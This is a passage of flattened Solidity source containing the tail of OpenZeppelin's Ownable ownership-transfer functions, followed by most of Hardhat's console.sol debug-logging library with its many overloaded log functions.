"Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, 